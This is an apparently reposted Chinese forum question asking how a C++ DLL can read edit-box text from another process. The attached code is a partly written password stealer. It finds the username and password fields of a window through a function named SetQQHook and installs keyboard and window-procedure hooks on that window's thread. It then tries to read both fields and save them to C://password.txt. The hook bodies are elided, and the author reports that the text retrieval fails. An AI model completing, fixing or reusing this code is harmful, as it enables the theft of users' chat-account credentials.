现在的位置: 首页 > 综合 > 正文

如何在DLL中获得其他进程窗口中的编辑框文本内容

2013年08月18日 ⁄ 综合 ⁄ 共 3916字 ⁄ 字号 评论关闭
这问题应该很容易,但我不会,还就没人告诉我,郁闷的。谁看了给指点一下。C++学的很差,看了不许笑。
 我想获得另一个进程的某个文本框的内容,于是将处理代码写道一个用C++编得DLL里,找到符合条件的编辑框句柄后,向其发送WM_GETTEXT消息,从帮助文档上看要从DefWindowProc函数中才能得到内容信息。现在的问题是:
我在C++文件中如何使用该函数获得文本内容?或者是否应该采用其它方法完成该功能。
部分代码如下:

#define MyDll_API _declspec(dllexport)
#include "MyDll.h"
#include "Winuser.h"
#include "Windows.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
HWND g_hNum=NULL;
HWND g_hPwd=NULL;
HHOOK g_hProc=NULL;
HHOOK g_hKey=NULL;
HINSTANCE g_hinstDLL=NULL;

void GetPassword()
{
    MessageBox(NULL,"进入获取密码阶段!","郁闷",0);
    char num[255];
    char pwd[255];
    char total[255];
    HANDLE h;
    DWORD dw;
    memset(num,0,255);
    memset(pwd,0,255);
    memset(total,0,255);
//问题是消息发了怎么接啊?DefWindowProc写到哪里啊?郁闷死了。
    SendMessage(g_hNum,WM_GETTEXT,255,(LPARAM)num);
    strcat(total,"用户名:");
//得不到文本内容阿!!怎么做?
    //strcat(total,num);
    MessageBox(NULL,total,"郁闷",0);
    SendMessage(g_hPwd,WM_GETTEXT,255,(LPARAM)pwd);
    strcat(total,"密码:");
//得不到文本内容阿!!怎么做?
  //  strcat(total,pwd);
    MessageBox(NULL,total,"郁闷",0);
    h=CreateFile("C://password.txt",
        GENERIC_WRITE,
        FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    WriteFile(h,&total,sizeof(total),&dw,NULL);   
    CloseHandle(h);
}

LRESULT CALLBACK KeyboardProc(         
    int code,
    WPARAM wParam,
    LPARAM lParam
)
{
。。。。。。。
。。。。。。。
。。。。。。。
    return CallNextHookEx(g_hKey,code,wParam,lParam);
}

LRESULT CALLBACK CallWndProc(         
    int nCode,
    WPARAM wParam,
    LPARAM lParam
)
{
    CWPSTRUCT *p=(CWPSTRUCT*)lParam;
。。。。。。。
。。。。。。。
。。。。。。。
    return CallNextHookEx(g_hProc,nCode,wParam,lParam);
}

BOOL WINAPI SetQQHook(HWND hwnd)
{
    BOOL bRet=FALSE;
//    g_procPre=SetWindowLong(hwnd,GWL_WNDPROC,(LONG)MainWndProc);
    char lpClsName[255];
    memset(lpClsName,0,255);
    int cnt=0;
    HWND hSubWnd=NULL;
    HWND hNextWnd=NULL;
    HWND hTemp=NULL;
    if(hwnd!=NULL)
    {
        DWORD dwThreadID = GetWindowThreadProcessId(hwnd,NULL);       
//        MessageBox(NULL,MAKEINTRESOURCE(dwThreadID),"郁闷",0);
//        hTemp=hwnd;
        hTemp = GetWindow(hwnd,GW_CHILD);
        do
        {
            hSubWnd = GetWindow(hTemp,GW_HWNDNEXT);
            int a=GetClassName(hSubWnd,lpClsName,255);
//            MessageBox(NULL,lpClsName,"郁闷",0);
            if(a==0)
            {
                MessageBox(NULL,"彻底失败,连子窗口都找不到!","郁闷",0);
                return FALSE;
            }
            cnt++;
            if(cnt>20)
            {
                MessageBox(NULL,"看来方法不对,只好放弃了!","郁闷",0);
                break;
            }
            hTemp = hSubWnd;
        }while(0!=stricmp(lpClsName,"EDIT"));

        if(0==stricmp(lpClsName,"EDIT"))
        {
            g_hNum = hSubWnd;
        }
        if(g_hNum==NULL)
        {
            MessageBox(NULL,"失败,找不到用户名窗口!","郁闷",0);
            return FALSE;
        }
        cnt=0;
        do{
            hNextWnd=GetNextWindow(hSubWnd,GW_HWNDNEXT);
            int a=GetClassName(hSubWnd,lpClsName,255);
//            MessageBox(NULL,lpClsName,"郁闷",0);
            if(a==0)
            {
                MessageBox(NULL,"失败,找不到密码子窗口!","郁闷",0);
                return FALSE;
            }
            cnt++;
            if(cnt>20)
                break;
            hSubWnd = hNextWnd;
        }while(0!=stricmp(lpClsName,"EDIT"));

        if(0==stricmp(lpClsName,"EDIT"))
        {
//            LONG lStyle = GetWindowLong(hNextWnd,GWL_STYLE);
//            if(lStyle & ES_PASSWORD)
//            {
                g_hPwd=hNextWnd;
//            }   
        }
        if(g_hPwd==NULL)
        {
            MessageBox(NULL,"失败,找不到密码窗口!","郁闷",0);
            return FALSE;
        }
//        g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,g_hinstDLL,dwThreadID);
//        g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hinstDLL,dwThreadID);
        g_hProc=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,GetModuleHandle("MyDll"),dwThreadID);
        g_hKey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("MyDll"),dwThreadID);
//        MessageBox(NULL,"在创建钩子后显示","郁闷",0);
        bRet=(g_hProc!=NULL)&&(g_hKey!=NULL);
    }
    else
    {
        bRet=UnhookWindowsHookEx(g_hProc)&&UnhookWindowsHookEx(g_hKey);
        g_hProc=NULL;
        g_hKey=NULL;
        g_hNum=NULL;
        g_hPwd=NULL;
    }
    return bRet;
}

抱歉!评论已关闭.